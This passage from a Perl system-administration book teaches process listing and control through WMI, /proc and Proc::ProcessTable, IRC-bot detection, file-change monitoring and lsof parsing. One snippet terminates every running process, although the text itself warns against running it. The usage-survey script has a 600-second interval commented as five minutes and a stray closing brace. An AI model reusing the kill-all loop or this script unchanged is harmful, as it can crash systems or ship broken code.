  • Use the WMI object browser in the WMI SDK frequently. It helps you get the lay of the land.

Let's get to the Perl part of this section. Our initial task will be to determine the information we can retrieve about Win32 processes and how we can interact with that information.

First we need to establish a connection to a WMI namespace. A namespace is defined in the WMI SDK as "a unit for grouping classes and instances to control their scope and visibility." In our case we're interested in connecting to the root of the standard cimv2 namespace, which contains all of the data that is interesting to us.

We will also have to set up a connection with the appropriate security privileges and impersonation level. Our program will need to be given the privilege to debug a process and to impersonate us; in other words, run as the user calling the script. After we get this connection, we will retrieve a Win32_Process object (as defined in the Win32 Schema).

There is a hard way and an easy way to create this connection and get the object. We'll look at both in the first example, so you get an idea of what the methods entail. Here's the hard way, with explanation to follow.

use Win32::OLE('in');

$server = ''; # connect to local machine

# get a SWbemLocator object
$lobj = Win32::OLE->new('WbemScripting.SWbemLocator') or
  die "can't create locator object: ".Win32::OLE->LastError(  )."\n";

# set the impersonate level to "impersonate"
$lobj->{Security_}->{impersonationlevel} = 3;

# use it to get a an SWbemServices object
$sobj = $lobj->ConnectServer($server, 'root\cimv2') or
  die "can't create server object: ".Win32::OLE->LastError(  )."\n";

# get the schema object
$procschm = $sobj->Get('Win32_Process');

The hard way involves:

  • Getting a locator object, used to find a connection to a server object

  • Setting the impersonation so our program will run with our privileges

  • Using this locator object to get a server connection to the cimv2 WMI namespace

  • Using this connection to retrieve a Win32_Process object

We can do this all in one step using a COM moniker's display name. According to the WMI SDK, "in Common Object Model (COM), a moniker is standard mechanism for encapsulating the location and binding of another COM object. The textual representation of a moniker is called a display name." Here's an easy way to do the same thing as the previous code snippet:

use Win32::OLE('in');

$procschm = Win32::OLE->GetObject(
  'winmgmts:{impersonationLevel=impersonate}!Win32_Process')
     or die "can't create server object: ".Win32::OLE->LastError(  )."\n";

Now that we have a Win32_Process object in hand, we can use it to show us the relevant parts of the schema that represents processes under Win32. This includes all of the available Win32_Process properties and methods we can use. The code to do this is fairly simple; the only magic in the following code is the use of the Win32::OLEin operator. To explain this, we need a quick digression.

Our $procschm object has two special properties, Properties_ and Methods_. Each holds a special child object, known as a collection object in COM parlance. A collection object is just a parent container for other objects; in this case, they are holding the schema's property method description objects. The in operator just returns an array with references to each child object of a container object. Once we have this array, we can iterate through it, returning the Name property of each child object as we go. See the section on Section 4.5, "ADSI (Active Directory Service Interfaces)" in Chapter 6, "Directory Services" for another prominent use of in. Here's what the code looks like:

use Win32::OLE('in');

# connect to namespace, set the impersonate level, and retrieve the
# Win32_process object just by using a display name
$procschm = Win32::OLE->GetObject(
             'winmgmts:{impersonationLevel=impersonate}!Win32_Process')
     or die "can't create server object: ".Win32::OLE->LastError(  )."\n";

print "--- Properties ---\n";
print join("\n",map {$_->{Name}}(in $procschm->{Properties_}));
print "\n--- Methods ---\n";
print join("\n",map {$_->{Name}}(in $procschm->{Methods_}));

The output (on an NT4.0 machine) looks like this:

--- Properties ---
Caption
CreationClassName
CreationDate
CSCreationClassName
CSName
Description
ExecutablePath
ExecutionState
Handle
InstallDate
KernelModeTime
MaximumWorkingSetSize
MinimumWorkingSetSize
Name
OSCreationClassName
OSName
PageFaults
PageFileUsage
PeakPageFileUsage
PeakWorkingSetSize
Priority
ProcessId
QuotaNonPagedPoolUsage
QuotaPagedPoolUsage
QuotaPeakNonPagedPoolUsage
QuotaPeakPagedPoolUsage
Status
TerminationDate
UserModeTime
WindowsVersion
WorkingSetSize
--- Methods ---
Create
Terminate
GetOwner
GetOwnerSid

Let's get down to the business at hand. To retrieve a list of running processes, we need to ask for all instances of Win32_Process objects:

use Win32::OLE('in');

# perform all of the initial steps in one swell foop

$sobj = Win32::OLE->GetObject(
                      'winmgmts:{impersonationLevel=impersonate}')
      or die "can't create server object: ".Win32::OLE->LastError(  )."\n";

foreach $process (in $sobj->InstancesOf("Win32_Process")){
  print $process->{Name}." is pid #".$process->{ProcessId},"\n";
}

Our initial display name did not include a path to a specific object (i.e., we left off !Win32_Process). As a result, we receive a server connection object. When we call the InstancesOf( ) method, it returns a collection object that holds all of the instances of that particular object. Our code visits each object in turn and prints its Name and ProcessId property. This yields a list of all the running processes.

If we want to be a little less beneficent when iterating over each process, we could instead use one of the methods we saw listed above:

foreach $process (in $sobj->InstancesOf("Win32_Process")){
  $process->Terminate(1);
}

This will terminate every process running. I do not recommend you run this code as is; customize it for your specific needs by making it more selective.

Now you have the knowledge necessary to begin using WMI for process control. WMI has Win32 extensions for many other parts of the operating system, including the registry and event log facility.

This is as far as we're going to delve into process control on WinNT/2000. Let's turn our attention to one last operating system.

Previous | Home | Next
4.1. MacOS Process Control | Book Index | 4.3. Unix Process Control
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Unix Process Control (Perl for System Administration)

 Perl for System AdministrationSearch this book

4.3. Unix Process Control

Strategies for Unix process control offer another multiple-choice situation. Luckily, these choices aren't nearly as complex to introduce as those offered by NT. When we speak of process control under Unix, we're referring to three operations:

  1. Enumerating the list of running processes on a machine

  2. Changing their priority or process group

  3. Terminating the processes

For the final two of these operations, there are Perl functions to do the job: setpriority( ), setpgrp( ),and kill( ). The first one offers us a few options. To list running processes, you can:

  • Call an external program like ps

  • Take a crack at deciphering /dev/kmem

  • Look through the /proc filesystem

  • Use the Proc::ProcessTable module

Let's discuss each of these approaches. For the impatient reader, I'll reveal right now that Proc::ProcessTable is my preferred technique, and you might just skip directly to the discussion of that module. But I recommend reading about the other techniques anyway, since they may come in handy in the future.

4.3.1. Calling an External Program

Common to all modern Unix variants is a program called ps, used to list running processes. However, ps is found different places in the filesystem on different Unix variants and the command-line switches it takes are also not consistent across variants. Therein lies one problem with this option: it lacks portability.

An even more annoying problem is the difficulty in parsing the output (which also varies from variant to variant). Here's a snippet of output from ps on a SunOS machine:

USER       PID %CPU %MEM   SZ  RSS TT STAT START  TIME COMMAND
dnb        385  0.0  0.0  268    0 p4 IW   Jul  2  0:00 /bin/zsh
dnb      24103  0.0  2.610504 1092 p3 S    Aug 10 35:49 emacs
dnb        389  0.0  2.5 3604 1044 p4 S    Jul  2 60:16 emacs
remy     15396  0.0  0.0  252    0 p9 IW   Jul  7  0:01 -zsh (zsh)
sys        393  0.0  0.0   28    0 ?  IW   Jul  2  0:02 in.identd
dnb      29488  0.0  0.0   68    0 p5 IW   20:15   0:00 screen
dnb      29544  0.0  0.4   24  148 p7 R    20:39   0:00 less
dnb       5707  0.0  0.0  260    0 p6 IW   Jul 24  0:00 -zsh (zsh)
root     28766  0.0  0.0  244    0 ?  IW   13:20   0:00 -:0 (xdm)

Notice the third line. Two of the columns have run together, making the parsing of this output an annoying task. It's not impossible, just annoying. Some Unix variants are kinder than others in this regard, but it is something you may have to take into account.

The Perl code required for this option is straightforward: open( ) to run ps, while(<FH>){...} to read the output, and split( ), unpack( ), or substr( ) to parse it. A recipe for this can be found in the Perl Cookbook by Tom Christiansen and Nathan Torkington (O'Reilly).

4.3.2. Examining the Kernel Process Structures

I only mention this option for completeness' sake. It is possible to write code that opens up a device like /dev/kmem and accesses the current running kernel's memory structures. With this access, you can track down the current process table in memory and read it. Given the pain involved (taking apart complex binary structures by hand), and its extreme non-portability (just a version difference within the same operating system is likely to break your program), I'd strongly recommend against using this option.

If you decide not to heed this advice, you should begin by memorizing the Perl documentation for pack( ), unpack( ), and the header files for your kernel. Open the kernel memory file (often /dev/kmem), then read( ) and unpack( ) to your heart's content. You may find it instructive to look at the source for programs like top (found at ftp://ftp.groupsys.com/pub/top) that perform this task using a great deal of C code. Our next option offers a slightly better version of this method.

4.3.3. Using the /proc Filesystem

One of the more interesting additions to Unix found in most of the current variants is the /proc filesystem. This is a magical filesystem that has nothing to do with data storage. It provides a file-based interface for the running process table of a machine. A "directory" named after the process ID appears in this filesystem for each running process. In this directory are a set of "files" that provide information about that process. One of these files can be written to, thus allowing control of this process.

It is a really clever concept, and that's the good news. The bad news is that each Unix vendor/developer team decided to take this clever concept and run with it in a different direction. As a result, the files found in a /proc directory are often variant-specific, both in name and format. For a description of which files are available and what they contain, you will need to see the manual pages (usually found in sections 4, 5, or 8) for procfs or mount_ procfs on your system.

The one fairly portable use of the /proc filesystem is the enumeration of running processes. If we want to list just the process IDs and their owners, we can use Perl's directory and lstat( ) operators:

opendir(PROC,"/proc") or die "Unable to open /proc:$!\n";
while (defined($_= readdir(PROC))){
    next if ($_ eq "." or $_ eq "..");
    next unless /^\d+$/; # filter out any random non-pid files
    print "$_\t". getpwuid((lstat "/proc/$_")[4])."\n";
}
closedir(PROC);

If you are interested in more information about a process, you will have to open and unpack( ) the appropriate binary file in the /proc directories. Common names for this file are status and psinfo. The manual pages cited a moment ago should provide details about the C structure found in this file or at least a pointer to a C include file that documents this structure. Because these are operating system- (and OS version-) specific formats, you are still going to run into the program fragility mentioned in our previous option.

You may be feeling discouraged at this point because all of our options so far look like they require code with lots of special cases, one for each version of each operating system we wish to support. Luckily, we have one more option up our sleeve that may help in this regard.

4.3.4. Using the Proc::ProcessTable Module

Daniel J. Urist (with the help of some volunteers) has been kind enough to write a module called Proc::ProcessTable that offers a consistent interface to the process table for the major Unix variants. It hides the vagaries of the different /proc or kmem implementations for you, allowing you to write relatively portable code.

Simply load the module, create a Proc::ProcessTable::Process object, and run methods from that object:

use Proc::ProcessTable;

$tobj = new Proc::ProcessTable;

This object uses Perl's tied variable functionality to present a real-time view of the system. You do not need to call a special function to refresh the object; each time you access it, it re-reads the process table. This is similar to the %Process hash we saw in our Mac::Processes discussion earlier in this chapter.

To get at this information, you call the object method table( ):

$proctable = $tobj->table(  );

table( ) returns a reference to an array with members that are references to individual process objects. Each of these objects has its own set of methods that returns information about that process. For instance, here's how you would get a listing of the process IDs and owners:

use Proc::ProcessTable;

$tobj = new Proc::ProcessTable;
$proctable = $tobj->table(  );
for (@$proctable){
    print $_->pid."\t". getpwuid($_->uid)."\n";
}

If you want to know which process methods are available on your Unix variant, the fields( ) method of your Proc::ProcessTable object ($tobj above) will return a list for you.

Proc::ProcessTable also adds three other methods
to each process object, kill( ),
priority( ), and pgrp( ),
which are just frontends to the built-in Perl function we mentioned
at the beginning of this section.

To bring us back to the big picture, let's look at some of the uses of these process control techniques. We started to examine process control in the context of user actions, so let's look at a few teeny scripts that focus on these actions. We'll use the Proc::ProcessTable on Unix for these examples, but these ideas are not operating system specific.

The first example is from the documentation for Proc::ProcessTable:

use Proc::ProcessTable;

$t = new Proc::ProcessTable;
foreach $p (@{$t->table}){
  if ($p->pctmem > 95){
    $p->kill(9);
  }
}

This code will shoot down any processes consuming 95% of that machine's memory when run on the Unix variants that provide the pctmem( ) method (most do). As it stands, this code is probably too ruthless to be used in real life. It would be much more reasonable to add something like this before the kill( ) command:

print "about to nuke ".$p->pid."\t". getpwuid($p->uid)."\n";
print "proceed? (yes/no) ";
chomp($ans = <>);
next unless ($ans eq "yes");

There's a bit of a race condition here: it is possible that the system state will change during delay induced by prompting the user. Given that we are only prompting for huge processes, and huge processes are those least likely to change state in a short amount of time, we're probably fine coding this way. If you wanted to be pedantic you would probably collect the list of processes to be killed first, prompt for input, and then recheck the state of the process table before actually killing the desired processes.

There are times when death is too good for a process. Sometimes it is important to notice a process is running while it is running so real life action (like "user attitude correction") can be taken. For example, at our site we have a policy against the use of Internet Relay Chat bots. Bots are daemon processes that connect to an IRC network of chat servers and perform automated actions. Though bots can be used for constructive purposes, these days they play a mostly antisocial role on IRC. We've also had security breaches come to our attention because the first (and often only) thing the intruder has done is put up an IRC bot of some sort. As a result, noting their presence on our system without killing them is important to us.

The most common bot by far is called eggdrop. If we wanted to look for this process name being run on our system, we could use code like this:

use Proc::ProcessTable;

open(LOG,">>$logfile") or die "Can't open logfile for append:$!\n";

$t = new Proc::ProcessTable;
foreach $p (@{$t->table}){
  if ($p->fname(  ) =~ /eggdrop/i){
    print LOG time."\t".getpwuid($p->uid)."\t".$p->fname(  )."\n";
  }
}
close(LOG);

If you are thinking, "This code is not good enough! All someone has to do is rename the eggdrop executable to evade its check," you're absolutely right. We'll take a stab at writing less na&#239;ve bot-check code in the very last section of this chapter.

In the meantime, let's see one more example where Perl assists us in managing user processes. So far all of our examples have been fairly negative. We've seen code that deals with resource-hungry and naughty processes. Let's look at something with a sunnier disposition.

There are times when a system administrator needs to know which (legitimate) programs are being used by users on a system. Sometimes this is necessary in the context of software metering where there are legal concerns about the number of users running a program concurrently. In those cases there is usually a licensing mechanism in place to handle the bean counting. Another situation where this knowledge comes in handy is that of machine migration. If you are migrating a user population from one architecture to another, you'll want to make sure all the programs used on the previous architecture are available on the new one.

One approach to solving this problem involves replacing every non-OS binary available to users with a wrapper that first records that a particular binary has been run and then actually runs it. This can be difficult to implement if there are a large number of binaries. It also has the unpleasant side effect of slowing down every program invocation.

If precision is not important and a rough estimate of which binaries are in use will suffice, then we can use Proc::ProcessTable to solve this problem as well. Here's some code that wakes up every five minutes and surveys the current process landscape. It keeps a simple count of all of the process names it finds, and is smart enough not to count processes it already saw during its last period of wakefulness twice. Every hour it prints its findings and starts collecting again. We wait five minutes between each run because walking the process table is usually a resource-intensive operation and we'd prefer this program add as little load to the system as possible:

use Proc::ProcessTable;

$interval    = 600; # sleep interval of 5 minutes
$partofhour  =   0; # keep track of where in hour we are

$tobj = new Proc::ProcessTable; # create new process object

# forever loop, collecting stats every $intervar secs
# and dumping them once an hour
while(1){
    &collectstats;
    &dumpandreset if ($partofhour >= 3600);
    sleep($interval);
}

# collect the process statistics
sub collectstats {
    my($process);
    foreach $process (@{$tobj->table}){

        # we should ignore ourselves
        next if ($process->pid(  ) == $$);

        # save this process info for our next run
        push(@last,$process->pid(),$process->fname(  ));

        # ignore this process if we saw it last iteration
        next if ($last{$process->pid()} eq $process->fname(  ));

        # else, remember it
        $collection{$process->fname(  )}++;
    }
    # set the last hash using the current table for our next run
    %last = @last;
    $partofhour += $interval;
}

# dump out the results and reset our counters
sub dumpandreset{
    print scalar localtime(time).("-"x50)."\n";
    for (sort reverse_value_sort keys %collection){
        write;
    }

    undef %collection;
    $partofhour = 0;
}
}
# (reverse) sort by values in %collection and by key name
sub reverse_value_sort{
    return $collection{$b} <=> $collection{$a} || $a cmp $b;
}

format STDOUT =
@<<<<<<<<<<<<<  @>>>>
$_,             $collection{$_}
.

format STDOUT_TOP =
Name            Count
--------------  -----
.

There are many ways this program could be enhanced. It could track processes on a per-user basis (i.e., only recording one instance of a program launch per user), collect daily stats, present its information as a nice bar graph, and so on. It's just a matter of where you want to take it.

Previous | Home | Next
4.2. NT/2000 Process Control | Book Index | 4.4. Tracking File and Network Operations
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Tracking File and Network Operations (Perl for System Administration)

 Perl for System AdministrationSearch this book

4.4. Tracking File and Network Operations

For our last section of this chapter, we're going to lump two of the user action domains together. The processes we've just spent so much time controlling do more than just suck up CPU and memory. They also perform operations on filesystems and communicate on a network on behalf of a user. User administration requires that we deal with these second-order effects as well.

Our focus is going to be fairly narrow. We're only interested in looking at file and network operations that other users are performing on a system. We're also only going to focus on those operations that we can track back to a specific user (or a specific process run by a specific user). With these blinders in mind, let's go forth.

4.4.1. Tracking Operations on Windows NT/2000

If we want to track other users' open files, the closest we can come involves using a third-party command-line program called nthandle by Mark Russinovich, found at http://www.sysinternals.com. It can show us all of the open handles on a particular system. Here's some sample output:

System pid: 2
     10: File          C:\WINNT\SYSTEM32\CONFIG\SECURITY
     84: File          C:\WINNT\SYSTEM32\CONFIG\SAM.LOG
     cc: File          C:\WINNT\SYSTEM32\CONFIG\SYSTEM
     d0: File          C:\WINNT\SYSTEM32\CONFIG\SECURITY.LOG
     d4: File          C:\WINNT\SYSTEM32\CONFIG\DEFAULT
     e8: File          C:\WINNT\SYSTEM32\CONFIG\SYSTEM.ALT
     fc: File          C:\WINNT\SYSTEM32\CONFIG\SOFTWARE.LOG
    118: File          C:\WINNT\SYSTEM32\CONFIG\SAM
    128: File          C:\pagefile.sys
    134: File          C:\WINNT\SYSTEM32\CONFIG\DEFAULT.LOG
    154: File          C:\WINNT\SYSTEM32\CONFIG\SOFTWARE
    1b0: File          \Device\NamedPipe\
    294: File          C:\WINNT\PROFILES\Administrator\ntuser.dat.LOG
    2a4: File          C:\WINNT\PROFILES\Administrator\NTUSER.DAT
------------------------------------------------------------------------------
SMSS.EXE pid: 27 (NT AUTHORITY:SYSTEM)
      4: Section       C:\WINNT\SYSTEM32\SMSS.EXE
      c: File          C:\WINNT
     28: File          C:\WINNT\SYSTEM32

Information on specific files or directories can also be requested:

> nthandle c:\temp
Handle V1.11
Copyright (C) 1997 Mark Russinovich
http://www.sysinternals.com

WINWORD.EXE        pid: 652    C:\TEMP\~DFF2B3.tmp
WINWORD.EXE        pid: 652    C:\TEMP\~DFA773.tmp
WINWORD.EXE        pid: 652    C:\TEMP\~DF913E.tmp

nthandle can provide this information for a specific process using the -p switch.

Using this executable from Perl is straightforward, so we won't provide any sample code. Instead, let's look at a related and more interesting operation: auditing.

NT/2000 allows us to efficiently watch a file, directory, or hierarchy of directories for changes. You could imagine repeatedly performing stat( )s on the desired object or objects, but that would be highly CPU intensive. Under NT/2000, we can ask the operating system to keep watch for us.

There are two specialized Perl modules that make this job relatively painless for us: Win32::ChangeNotify by Christopher J. Madsen and Win32::AdvNotify by Amine Moulay Ramdane. The latter is a bit more flexible, so we'll use it for our example in this section.

Using Win32::AdvNotify is a multiple-step process. First, you load the module and create a new AdvNotify object:

# also import two constants we'll use in a moment
use Win32::AdvNotify qw(All %ActionName);
use Data::Dumper;

$aobj = new Win32::AdvNotify(  ) or die "Can't make a new object\n";

The next step is to create a monitoring thread for the directory in question. Win32::AdvNotify allows you to watch multiple directories at once simply by creating multiple threads. We'll stick to monitoring a single directory:

$thread = $aobj->StartThread(Directory => 'C:\temp',
                             Filter => All,
                             WatchSubtree => 0)
   or die "Unable to start thread\n";

The first parameter of this method is self-explanatory; let's look at the others.

We can look for many types of changes by setting Filter to one or a combination (SETTING1 | SETTING2 | SETTING3...) of the constants listed in Table 4-1.

Table 4.1. Win32::AdvNotify Filter Parameters

Parameter | Notices
FILE_NAME | Creating, deleting, renaming of a file or files
DIR_NAME | Creating or deleting a directory or directories
ATTRIBUTES | Change in any directory attribute
SIZE | Change in any file size
LAST_WRITE | Change in the modification date of a file or files
CREATION | Change in the creation date of a file or files
SECURITY | Change in the security info (ACL, etc.) of a file or files

The All setting you see in our code above is just a constant that includes a combination of the choices. Leaving the Filter parameter out of the method call will also select All. The WatchSubtree parameter determines if the thread will watch just the directory specified, or it and all of its subdirectories.

StartThread( ) creates a monitoring thread, but that thread doesn't actually begin monitoring until we ask it to:

$thread->EnableWatch(  ) or die "Can't start watching\n";

There is also a DisableWatch( ) call, should you choose to turn off monitoring at any point in your program.

Now that we're monitoring our desired object, how do we know when something changes? We need some way for our thread to report back to us when the change we're looking for takes place. The process is similar to one we'll see in Chapter 9, "Log Files", when we discuss network sockets. Basically, we call a function that blocks, or hangs, until a change occurs:

while($thread->Wait(INFINITE)){
    print "Something changed!\n";
    last if ($changes++ == 5);
}

This while( ) loop will call the Wait( ) method for our thread. This call will block until the thread has something to report. Wait( ) normally takes a parameter that dictates the number of milliseconds it should wait until giving up, though here we've given it a special value that says "wait forever." Once Wait( ) returns, we print a message and go back to waiting unless we've already noticed five other changes. We now clean up:

$thread->Terminate(  );
undef $aobj;

Our program isn't all that useful as written. All we know is something changed, but we don't know what changed or how it changed. To improve the situation, let's replace the contents of the while( ) loop and add a Perl format specification:

while($thread->Wait(INFINITE)){
    while ($thread->Read(\@status)){
        foreach $event (@status){
            $filename = $event->{FileName};
            $time     = $event->{DateTime};
            $action   = $ActionName{$event->{Action}};
            write;
        }
    }
}

format STDOUT =
@<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<
$filename,$time,$action
.

format STDOUT_TOP =
File Name            Date                 Action
-------------------  -------------------- ---------------------
.

The key change here is the addition of the Read( ) method. Read( ) gets information about the change event and populates the @status list above with a set of hash references. Each reference points to an anonymous hash that looks something like this:

{'FileName' => '~GLF2425.TMP',
 'DateTime' => '11/08/1999 06:23:25p',
 'Directory' => 'C:\temp',
 'Action' => 3 }

Multiple sets of event changes can queue up for every change, hence our need to call Read( ) in the while( ) loop until it runs out of steam. When we de-reference the contents of those hash references appropriately and pass them through a Perl format, we get handy output that like this:

File Name            Date                 Action
-------------------  -------------------- ---------------------
~DF40DE.tmp          11/08/1999 07:29:56p FILE_ACTION_REMOVED
~DF6E5C.tmp          11/08/1999 07:29:56p FILE_ACTION_ADDED
~DF6E66.tmp          11/08/1999 07:29:56p FILE_ACTION_ADDED
~DF6E5C.tmp          11/08/1999 07:29:56p FILE_ACTION_REMOVED

Unfortunately, the tracking of network operations under NT/2000 is not nearly as impressive. Ideally, as an administrator you'd like to know which process (and therefore which user) has opened a network port. Unfortunately, I know of no Perl module or free third-party command-line tool that can provide this information. There does exist a single commercial command-line tool called TCPVstat that can show us the network-connection-to-process mapping. TCPVstat is found in the TCPView Professional Edition package available at http://www.winternals.com.

If we are only able to use free tools, then we'll have to make do with a simple listing of the currently open network ports on our system. For that, we'll use another module by Ramdane called Win32::IpHelp. Here's code to print this information:

use Win32::IpHelp;

# note: the case of "IpHelp" is signficant in this call
my $iobj = new Win32::IpHelp;

# populates list of hash of hashes
$iobj->GetTcpTable(\@table,1);

foreach $entry (@table){
    print $entry->{LocalIP}->{Value} . ":" .
          $entry->{LocalPort}->{Value}. " -> ";
    print $entry->{RemoteIP}->{Value} . ":" .
          $entry->{RemotePort}->{Value}."\n";
}

Let's see how we'd perform the same tasks from within the Unix world.

4.4.2. Tracking Operations in Unix

To handle the tracking of both file and network operations in Unix, we can use a single approach. This is one of few times in this book where calling a separate executable is clearly the superior method. Vic Abell has given an amazing gift to the system administration world by writing and maintaining a program called lsof (LiSt Open Files) that can be found at ftp://vic.cc.purdue.edu/pub/tools/unix/lsof. lsof can show in detail all of the currently open files and network connections on a Unix machine. One of the things that make it truly amazing is its portability. The latest version as of this writing runs on at least 18 flavors of Unix and supports several OS versions for each flavor.

Here's a snippet of lsof 's output showing one of the processes I am running. lsof tends to output very long lines, so I've inserted a blank line between each line of output to make the distinctions clear:

COMMAND    PID USER   FD   TYPE     DEVICE  SIZE/OFF       NODE NAME
netscape 21065  dnb  cwd   VDIR   172,2891      8192      12129 /home/dnb

netscape 21065  dnb  txt   VREG   172,1246  14382364     656749 /net/arch-solaris (fileserver:/vol/systems/arch-solaris)

netscape 21065  dnb  txt   VREG       32,6     54656      35172 /usr (/dev/dsk/c0t0d0s6)

netscape 21065  dnb  txt   VREG       32,6    146740       6321 /usr/lib/libelf.so.1

netscape 21065  dnb  txt   VREG       32,6     69292     102611 /usr (/dev/dsk/c0t0d0s6)

netscape 21065  dnb  txt   VREG       32,6     21376      79751 /usr/lib/locale/en_US/en_US.so.1

netscape 21065  dnb  txt   VREG       32,6     19304       5804 /usr/lib/libmp.so.2

netscape 21065  dnb  txt   VREG       32,6     98284      22860 /usr/openwin/lib/libICE.so.6

netscape 21065  dnb  txt   VREG       32,6     46576      22891 /usr/openwin/lib/libSM.so.6

netscape 21065  dnb  txt   VREG       32,6   1014020       5810 /usr/lib/libc.so.1

netscape 21065  dnb  txt   VREG       32,6    105788       5849 /usr/lib/libm.so.1

netscape 21065  dnb  txt   VREG       32,6    721924       5806 /usr/lib/libnsl.so.1

netscape 21065  dnb  txt   VREG       32,6    166196       5774 /usr/lib/ld.so.1

netscape 21065  dnb    0u  VCHR       24,3      0t73       5863 /devices/pseudo/pts@0:3-> ttcompat->ldterm->ptem->pts

netscape 21065  dnb    3u  VCHR      13,12       0t0       5821 /devices/pseudo/mm@0:zero

netscape 21065  dnb    7u  FIFO 0x6034d264       0t1      47151 PIPE->0x6034d1e0

netscape 21065  dnb    8u  inet 0x6084cb68 0xfb210ec        TCP host.ccs.neu.edu:46575-> host2.ccs.neu.edu:6000 (ESTABLISHED)

netscape 21065  dnb   29u  inet 0x60642848  0t215868        TCP host.ccs.neu.edu:46758-> www.mindbright.se:80 (CLOSE_WAIT)

In the previous output you can see some of the power this command provides. We can see the current working directory (VDIR), regular files (VREG), character devices (VCHR), pipes (FIFO), and network connections (inet) opened by this process.

The easiest way to use lsof from Perl is to invoke its special "field" mode (-F ). In this mode, its output is broken up into specially labeled and delimited fields, instead of the ps -like columns show above. This makes parsing the output a cinch.

There is one quirk to the output. It is organized into what the author calls "process sets" and "file sets." A process set is a set of field entries referring to a single process; a file set is a similar set for a file. This all makes more sense if we turn on field mode with the 0 option. Fields are then delimited with NUL (ASCII 0) characters and sets with NL (ASCII 12). Here's the same group of lines as those above, this time in field mode (NUL is represented as ^@):

p21065^@cnetscape^@u6700^@Ldnb^@

fcwd^@a ^@l ^@tVDIR^@D0x2b00b4b^@s8192^@i12129^@n/home/dnb^@

ftxt^@a ^@l ^@tVREG^@D0x2b004de^@s14382364^@i656749^@n/net/arch-solaris (fileserver:/vol/systems/arch-solaris)^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s54656^@i35172^@n/usr (/dev/dsk/c0t0d0s6)^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s146740^@i6321^@n/usr/lib/libelf.so.1^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s40184^@i6089^@n/usr (/dev/dsk/c0t0d0s6)^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s69292^@i102611^@n/usr (/dev/dsk/c0t0d0s6)^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s21376^@i79751^@n/usr/lib/locale/en_US/en_US.so.1^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s19304^@i5804^@n/usr/lib/libmp.so.2^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s98284^@i22860^@n/usr/openwin/lib/libICE.so.6^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s46576^@i22891^@n/usr/openwin/lib/libSM.so.6^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s1014020^@i5810^@n/usr/lib/libc.so.1^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s105788^@i5849^@n/usr/lib/libm.so.1^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s721924^@i5806^@n/usr/lib/libnsl.so.1^@

ftxt^@a ^@l ^@tVREG^@D0x800006^@s166196^@i5774^@n/usr/lib/ld.so.1^@
f0^@au^@l ^@tVCHR^@D0x600003^@o73^@i5863^@n/devices/pseudo/pts@0:3->ttcompat->ldterm->ptem->pts^@

f3^@au^@l ^@tVCHR^@D0x34000c^@o0^@i5821^@n/devices/pseudo/mm@0:zero^@

f7^@au^@l ^@tFIFO^@d0x6034d264^@o1^@i47151^@nPIPE->0x6034d1e0^@

f8^@au^@l ^@tinet^@d0x6084cb68^@o270380692^@PTCP^@nhost.ccs.neu.edu:46575-> host2.ccs.neu.edu:6000^@TST=ESTABLISHED^@

f29^@au^@l ^@tinet^@d0x60642848^@o215868^@PTCP^@nhost.ccs.neu.edu:46758-> www.mindbright.se:80^@TST=CLOSE_WAIT^@

Let's take this output apart. The first line is a process set (we can tell because it begins with the letter p):

p21065^@cnetscape^@u6700^@Ldnb^@

Each field begins with a letter identifying the field's contents ( p for pid, c for command, u for uid, and L for login) and ends with a delimiter character. Together the fields on this line make up a process set. All of the lines that follow, up until the next process set, describe the open files/network connections of the process described by this process set.

Let's put this mode to use. If we wanted to show all of the open files on a system and the pids that are using them, we could use code like this:

use Text::Wrap;

$lsofexec = "/usr/local/bin/lsof"; # location of lsof executable

# (F)ield mode, NUL (0) delim, show (L)ogin, file (t)ype and file (n)ame
$lsofflag = "-FL0tn";
open(LSOF,"$lsofexec $lsofflag|") or  die "Unable to start $lsof:$!\n";

while(<LSOF>){
    # deal with a process set
    if (substr($_,0,1) eq "p"){
        ($pid,$login) = split(/\0/);
        $pid = substr($pid,1,length($pid));
    }

    # deal with a file set, note: we are only interested
    # in "regular" files
    if (substr($_,0,5) eq "tVREG"){
        ($type,$pathname) = split(/\0/);

        # a process may have the same path name open twice,
        # these two lines make sure we only record it once
        next if ($seen{$pathname} eq $pid);
        $seen{$pathname} = $pid;

        $pathname = substr($pathname,1,length($pathname));
        push(@{$paths{$pathname}},$pid);
    }
}

close(LSOF);

for (sort keys %paths){
    print "$_:\n";
    print wrap("\t","\t",join(" ",@{$paths{$_}})),"\n";
}

This code instructs lsof to show only a few of its possible fields. We iterate through its output, collecting filenames and pids in a hash of lists. When we've received all of the output, we print the filenames in a nicely formatted pid list (thanks to David Muir Sharnoff's Text::Wrap module):

/usr (/dev/dsk/c0t0d0s6):
        115 117 128 145 150 152 167 171 184 191 200 222 232 238 247 251 276
        285 286 292 293 296 297 298 4244 4709 4991 4993 14697 20946 21065
        24530 25080 27266 27603
/usr/bin/tcsh:
        4246 4249 5159 14699 20949
/usr/bin/zsh:
        24532 25082 27292 27564
/usr/dt/lib/libXm.so.3:
        21065 21080
/usr/lib/ld.so.1:
        115 117 128 145 150 152 167 171 184 191 200 222 232 238 247 251 267
        276 285 286 292 293 296 297 298 4244 4246 4249 4709 4991 4993 5159
        14697 14699 20946 20949 21065 21080 24530 24532 25080 25082 25947
        27266 27273 27291 27292 27306 27307 27308 27563 27564 27603
/usr/lib/libc.so.1:
        267 4244 4246 4249 4991 4993 5159 14697 14699 20949 21065 21080
        24530 24532 25080 25082 25947 27273 27291 27292 27306 27307 27308
        27563 27564 27603
...

For our last example of tracking Unix file and network operations, let's return to an earlier example, where we attempted to find IRC bots running on a system. There are more reliable ways to find network daemons like bots than looking at the process table. A user may be able to hide the name of a bot by renaming the executable, but she or he will have to work a lot harder to hide the open network connection. More often than not, this connection is to a server running on TCP ports 6660-7000. lsof makes looking for these processes easy:

$lsofexec = "/usr/local/bin/lsof";
